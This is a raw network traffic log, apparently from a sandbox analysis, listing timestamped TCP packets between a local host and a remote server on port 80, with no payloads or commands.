Oct 7, 2024 18:43:15.952661991 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.952672005 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.952682018 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.952692986 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.952716112 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.952753067 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.952753067 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.952930927 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.952941895 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.952950001 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.952980995 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.953020096 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.953035116 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.953046083 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.953054905 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.953063965 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.953068972 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.953078032 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.953088045 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.953087091 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.953098059 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.953114986 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.953267097 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.953514099 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.953691006 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.953691006 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.953700066 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.953710079 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.953718901 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.953727961 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.953736067 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.953797102 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.953797102 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.953797102 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.953821898 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.953830957 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.953840017 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.953861952 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.953875065 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.953883886 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.953891993 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.953902006 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.953902006 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.953910112 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.953918934 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.953927994 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.953936100 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.953946114 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.953953028 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.953953028 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.953953981 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.953963995 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.954016924 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.954016924 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.954016924 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.954047918 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.954057932 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.954066992 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.954075098 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.954085112 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.954102993 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.954147100 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.954350948 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.954368114 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.954376936 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.954385996 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.954395056 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.954402924 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.954411030 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.954420090 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.954427958 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.954437017 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.954464912 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.954464912 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.954499006 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.954509020 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.954519987 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.954524994 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.954535007 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.954543114 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.954551935 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.954560995 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.954562902 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.954581022 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.954593897 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.954787016 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.034440994 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.034549952 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.034581900 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.034615040 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.034631014 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.034631014 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.034631014 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.034646988 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.034691095 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.034691095 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.034699917 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.034734011 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.034765959 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.034776926 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.034776926 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.034797907 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.034816980 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.034832001 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.034862995 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.034894943 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.034905910 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.034905910 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.034905910 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.034929037 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.034939051 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.034979105 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.034984112 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.035011053 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.035042048 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.035046101 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.035058975 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.035074949 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.035123110 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.035130024 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.035130024 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.035171032 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.035206079 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.035211086 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.035211086 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.035238981 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.035271883 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.035304070 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.035316944 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.035316944 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.035316944 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.035339117 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.035372019 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.035410881 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.035410881 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.035410881 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.035428047 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.035459995 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.035491943 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.035500050 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.035500050 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.035523891 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.035566092 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.035566092 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.035573006 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.035607100 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.035638094 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.035653114 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.035653114 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.035670996 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.035722017 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.035768032 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.035768032 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.035768032 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.035769939 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.035804033 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.035834074 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.035868883 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.035878897 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.035878897 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.035878897 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.035898924 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.035923958 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.035931110 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.035981894 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.036024094 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.036024094 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.036024094 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.036031008 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.036065102 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.036097050 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.036106110 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.036106110 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.036145926 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.036149025 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.036183119 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.036215067 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.036223888 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.036223888 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.036247015 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.036258936 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.036298990 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.036303043 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.036331892 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.036364079 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.036393881 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.036412954 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.036412954 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.036412954 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.036427021 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.036458969 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.036489964 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.036500931 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.036500931 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.036500931 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.036521912 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.036545992 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.036554098 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.036603928 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.036612988 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.036612988 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.036638021 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.036669970 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.036678076 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.036678076 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.036700964 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.036735058 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.036750078 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.036750078 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.036766052 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.036798000 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.036829948 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.036845922 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.036845922 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.036845922 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.036863089 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.036895037 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.036904097 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.036904097 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.036927938 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.036959887 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.036973000 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.036973000 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.036988020 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.037007093 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.037039042 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.037045002 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.037072897 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.037105083 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.037115097 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.037115097 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.037138939 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.037173033 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.037204981 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.037220001 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.037220001 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.037220001 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.037252903 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.037266016 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.037292957 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.037324905 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.037355900 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.037364960 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.037364960 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.037385941 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.037404060 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.037426949 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.037440062 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.037486076 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.037516117 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.037516117 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.037519932 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.037530899 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.037553072 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.037584066 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.037595034 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.037595034 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.037616014 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.037647009 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.037678003 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.037704945 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.037704945 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.037709951 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.037741899 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.037775040 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.037796974 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.037796974 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.037796974 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.037806034 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.037827015 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.037839890 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.037853003 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.037866116 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.037878990 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.037882090 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.037882090 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.037882090 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.037893057 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.037908077 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.037923098 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.037935972 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.037949085 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.037962914 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.037975073 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.037987947 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.037991047 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.037991047 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.037991047 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.038002968 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.038017035 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.038027048 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.038036108 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.038036108 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.038045883 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.038054943 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.038057089 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.038068056 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.038079023 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.038089037 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.038090944 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.038101912 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.038113117 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.038172007 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.038172007 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.038172960 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.117322922 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.117366076 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.117397070 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.117419004 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.117429018 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.117474079 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.117475986 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.117489100 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.117521048 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.117553949 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.117556095 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.117556095 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.117587090 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.117594004 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.117594004 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.117633104 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.117665052 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.117676020 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.117697954 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.117700100 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.117731094 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.117763996 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.117780924 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.117780924 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.117790937 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.117801905 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.117820024 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.117830038 CEST	80	49699	46.8.231.109	192.168.2.7
